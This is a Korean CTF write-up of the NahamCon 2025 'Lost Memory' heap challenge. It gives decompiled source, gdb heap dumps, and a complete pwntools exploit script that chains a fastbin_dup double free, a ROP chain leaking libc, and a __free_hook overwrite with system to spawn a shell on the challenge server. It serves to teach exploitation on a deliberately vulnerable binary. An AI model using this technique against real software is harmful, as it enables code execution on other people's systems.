콘텐츠로 건너뛰기

[NahamCon 2025 CTF] Lost Memory (fastbin_dup, free_hook)

checksec

ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ checksec ./lost_memory 
[*] '/home/ubuntu/study/naham2025/lost_memory/lost_memory'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

libc.so.6 version

Ubuntu GLIBC 2.31-0ubuntu9.17

ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Decompiled-src / Analysis

menu 함수를 보면 알다시피 5가지 존재한다.

인덱스를 지정하여 메모리를 할당하거나 해제, 데이터를 쓸 수 있으며
스택 값을 유출시킬 수 있는 5번 메뉴가 존재한다.

void *setup_globals()
{
  void *result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  memset(&input, 0, 0x100u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *(&ptr + i) )
      *(&ptr + i) = 0;
    if ( newPtr[i] )
      newPtr[i] = 0;
  }
  memIndex = 0;
  result = memset(ptrSize, 0, sizeof(ptrSize));
  choice = 0;
  size = 0;
  return result;
}

int menu()
{
  puts("1. Allocate Memory");
  puts("2. Write to Memory");
  puts("3. Select Index");
  puts("4. Free Memory");
  puts("5. Store Flag Return Value");
  puts("6. Exit");
  return puts("Enter your choice:");
}

int vuln()
{
  __int64 v1; // rbx
  _QWORD v2[3]; // [rsp+8h] [rbp-18h] BYREF

  v2[0] = 0xDEADBEEFDEADBEEFLL;
  setup_globals();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            choice = 0;
            menu();
            fflush(stdin);
            fgets(&input, 256, stdin);
            choice = atoi(&input);
            memset(&input, 0, 0x100u);
            size = 0;
            if ( choice != 1 )
              break;
            puts("What size would you like?");
            fgets(&input, 256, stdin);
            size = atol(&input);
            memset(&input, 0, 0x100u);
            if ( size > 0x100 )
              return puts("Size too large");
            v1 = memIndex;
            *(&ptr + v1) = malloc(size);
            ptrSize[memIndex] = size;
            puts("Allocated memory");
          }
          if ( choice != 2 )
            break;
          puts("What would you like to write?");
          fflush(stdin);
          fgets(&input, 256, stdin);
          if ( !input )
            return puts("No input provided");
          puts("Writing to memory...");
          memcpy(*(&ptr + memIndex), &input, ptrSize[memIndex]);
          printf("ptr[memIndex] = %s\n", (const char *)*(&ptr + memIndex));
          printf("input = %s\n", &input);
          memset(&input, 0, 0x100u);
        }
        if ( choice != 3 )
          break;
        printf("Select an index to write to (0 - %d)\n ", 9);
        fgets(&input, 256, stdin);
        memIndex = atol(&input);
        memset(&input, 0, 0x100u);
        if ( (unsigned __int64)memIndex > 9 )
          return puts("Invalid index");
      }
      if ( choice != 4 )
        break;
      if ( *(&ptr + memIndex) )
      {
        puts("Freeing memory...");
        free(*(&ptr + memIndex));
      }
      else
      {
        puts("No memory to free");
      }
    }
    if ( choice != 5 )
      break;
    puts("Storing flag return value");
    *(_QWORD *)*(&ptr + memIndex) = v2;
    printf("Stored return value: %p\n", *(const void **)*(&ptr + memIndex));
    printf("Stored return value: %p\n", v2);
  }
  if ( choice == 6 )
    return puts("Exiting...");
  else
    return puts("Invalid choice");
}

Solution

1. tcache 가득 채우기 / 스택주소 누출하기

먼저 인덱스 0을 지정해 할당해준다음, 스택주소를 누출시킨다.
그런 다음 6번 더 할당히야 추후 tcache를 채우기 위해 준비작업을 한다.

이후 3번 더 할당시켜 추후 fastbin에 넣을 준비를 한다.

fastbin에 속하기 위해 malloc크기는 0x20으로 지정해주었고,
이제 tcache를 채우기 위해 처음 할당했던 인덱스부터 시작하여 할당해제를 시켜준다.

select_index(0)
alloc(0x20)
write_mem(b"AAAA")

a, b = leak_mem()
info(f"leak a:{a}, b:{b}")

for i in range(1, 7):
    select_index(i)
    alloc(0x20)

for i in range(7, 10):
    select_index(i)
    alloc(0x20)

for i in range(0, 7):
    select_index(i)
    free_mem()
  • Result

보다시피 tcache에 7번 가득채워진 것을 확인할 수 있다.

ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py
[+] Starting local process './lost_memory': pid 1107
[*] leak a:b'0x7fffffffe4a8', b:b'0x7fffffffe4a8'

gdb -p 1107
...

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405470 (size : 0x20b90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
gdb-peda$ 

이후부터 인덱스 7을 선택해 free시키면, 그때부터는 fastbin에 들어가게 된다.

  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x4053e0 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405470 (size : 0x20b90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0

2. fastbin_dup 버그 트리거

tcache에 7번 가득채우면, 그 이후부터는 fastbin에 들어가게 된다.

free list의 top에 해당되지만 않으면, double-free를 트리거시킬 수 있기에
순서대로 7, 8, 7 인덱스에 할당된 메모리를 해제시켜준다.

# Trigger fastbin_dup
select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()
  • 결과

이제 tcache 리스트의 메모리 할당을 전부 다하고 나면(=전부 비우게 되면),
그 이후 fastbin 리스트를 보다시피 1번째와 3번째의 할당받는 주소가 서로 같게 된다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405470 (size : 0x20b90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0
gdb-peda$ 

3. tache 리스트 비우기

tcache 리스트에 채워진 것들을 비우기 위해
같은 크기로 7번 다시 할당시킨다.

#empty tcache
for i in range(0, 7):
    select_index(i)
    alloc(0x20)
  • 결과

보다시피 tcache에 있던 리스트값들이 사라졌다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405470 (size : 0x20b90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

4. fd값을 수정하여 AAW 1단계 / ROP chain을 통한 libc base 주소 계산

이제 fastbin으로부터 메모리 주소를 할당받는다.

fd 값을 수정하여 다음 4번째에서 할당받게될 주소를 vuln 함수의 rbp 주소로 가리키게 만든다.
vuln’s RET 주소에다가 puts(puts@got) + vuln 주소와 함께 ROP Chain을 구성한다.

vuln_rbp = int(a, 16) + 0x18
where = vuln_rbp

select_index(7)
alloc(0x20)
write_mem(p64(where+8))

select_index(8)
alloc(0x20)

alloc(0x20)

select_index(9)
alloc(0x20)

pop_rdi_ret = 0x40132e
what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)
write_mem(what)

sla("Enter your choice:\n", "6")
ru("Exiting...\n")
leak = r(6)
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym.puts
info(f"libc_base: {hex(l.address)}")

5. AAW 2단계 / free_hook을 system 함수로 덮어쓰기

ROP chain이 무사히 끝났다면, puts 주소가 누출되었을거고 다시 vuln 함수로 돌아가게 된다.

이전 1~4번을 통해 한번더 fastbin_dup 버그를 트리거하여 AAW하는데,
이번에는 free_hook 포인터 주소에 system 함수를 덮어써서 쉘을 획득하면 된다.

# 2. fill tcache?
for i in range(0, 7):
    select_index(i)
    alloc(0x30)

for i in range(7, 10):
    select_index(i)
    alloc(0x30)

for i in range(0, 7):
    select_index(i)
    free_mem()

select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()

#empty tcache
for i in range(0, 7):
    select_index(i)
    alloc(0x30)

#Let's AAW2!
where = l.sym.__free_hook

select_index(7)
alloc(0x30)
write_mem(p64(where))

select_index(8)
alloc(0x30)

alloc(0x30)
write_mem(b"/bin/sh\x00")

select_index(9)
alloc(0x30)


what = p64(l.sym.system)
write_mem(what)

select_index(8)
free_mem()

pi()

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

# p = process("./lost_memory")
p = remote("challenge.nahamcon.com", 31899)
e = ELF('./lost_memory',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def alloc(size):
    sla("Enter your choice:\n", "1")
    sla("What size would you like?", str(size))

def select_index(idx):
    sla("Enter your choice:\n", "3")
    sl(str(idx))

def write_mem(what):
    sla("Enter your choice:\n", "2")
    sla(b"What would you like to write?\n", what)

def free_mem():
    sl("4")

def leak_mem():
    sl("5")
    ru(b"Storing flag return value\n")
    a = rl().split(b"Stored return value: ")[1].strip()
    b = rl().split(b"Stored return value: ")[1].strip()
    return a, b

# 1. fill tcache?
select_index(0)
alloc(0x20)
write_mem(b"AAAA")

a, b = leak_mem()
info(f"leak a:{a}, b:{b}")

for i in range(1, 7):
    select_index(i)
    alloc(0x20)

for i in range(7, 10):
    select_index(i)
    alloc(0x20)

for i in range(0, 7):
    select_index(i)
    free_mem()

# Trigger fastbin_dup
select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()

#empty tcache
for i in range(0, 7):
    select_index(i)
    alloc(0x20)


#Let's AAW!
vuln_rbp = int(a, 16) + 0x18
where = vuln_rbp

select_index(7)
alloc(0x20)
write_mem(p64(where+8))

select_index(8)
alloc(0x20)

alloc(0x20)

select_index(9)
alloc(0x20)


pop_rdi_ret = 0x40132e
what = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)
write_mem(what)

sla("Enter your choice:\n", "6")
ru("Exiting...\n")
leak = r(6)
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym.puts
info(f"libc_base: {hex(l.address)}")

# 2. fill tcache?
for i in range(0, 7):
    select_index(i)
    alloc(0x30)

for i in range(7, 10):
    select_index(i)
    alloc(0x30)

for i in range(0, 7):
    select_index(i)
    free_mem()

select_index(7)
free_mem()
select_index(8)
free_mem()
select_index(7)
free_mem()

#empty tcache
for i in range(0, 7):
    select_index(i)
    alloc(0x30)

#Let's AAW2!
where = l.sym.__free_hook

select_index(7)
alloc(0x30)
write_mem(p64(where))

select_index(8)
alloc(0x30)

alloc(0x30)
write_mem(b"/bin/sh\x00")

select_index(9)
alloc(0x30)


what = p64(l.sym.system)
write_mem(what)

select_index(8)
free_mem()

pi()

Result

ubuntu@a4852d66fed7:~/study/naham2025/lost_memory$ python3 solve2.py
[+] Opening connection to challenge.nahamcon.com on port 31899: Done
[*] leak a:b'0x7ffd5b1d1358', b:b'0x7ffd5b1d1358'
[*] leak: 0x7dc31429d420
[*] libc_base: 0x7dc314219000
[*] Switching to interactive mode
Select an index to write to (0 - 9)
 1. Allocate Memory
2. Write to Memory
3. Select Index
4. Free Memory
5. Store Flag Return Value
6. Exit
Enter your choice:
Freeing memory...
$ ls
flag.txt
lost_memory
$ cat flag.txt
flag{2658c992bda627329ed2a8e6225623c6}$ 
[*] Interrupted
[*] Closed connection to challenge.nahamcon.com port 31899